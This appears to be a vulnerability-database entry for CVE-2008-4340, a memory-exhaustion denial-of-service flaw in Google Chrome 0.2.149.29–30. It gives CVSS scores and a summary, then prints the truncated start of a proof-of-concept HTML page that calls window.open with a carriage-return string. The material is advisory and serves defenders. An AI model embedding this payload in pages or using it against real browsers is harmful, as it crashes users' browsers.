4.3
CVSSv2

CVE-2008-4340

Published: 30/09/2008 Updated: 11/10/2018
CVSS v2 Base Score: 4.3 | Impact Score: 2.9 | Exploitability Score: 8.6
VMScore: 435
Vector: AV:N/AC:M/Au:N/C:N/I:N/A:P

Vulnerability Summary

Google Chrome 0.2.149.29 and 0.2.149.30 allows remote malicious users to cause a denial of service (memory consumption) via an HTML document containing a carriage return ("\r\n\r\n") argument to the window.open function.

Vulnerable Product Search on Vulmon Subscribe to Product

google chrome 0.2.149.29

google chrome 0.2.149.30

Exploits

<html> <title>Google Chrome Carriage Return Null Object Memory Exhaustion Remote Dos</title> <head> <script language="javascript"> windowopen("\r\n\r\n"); windowrefresh(); windowopen("\r\n\r\n"); </script> </head> <body><br><br> <h2><center>Google Chrome Carriage Return ...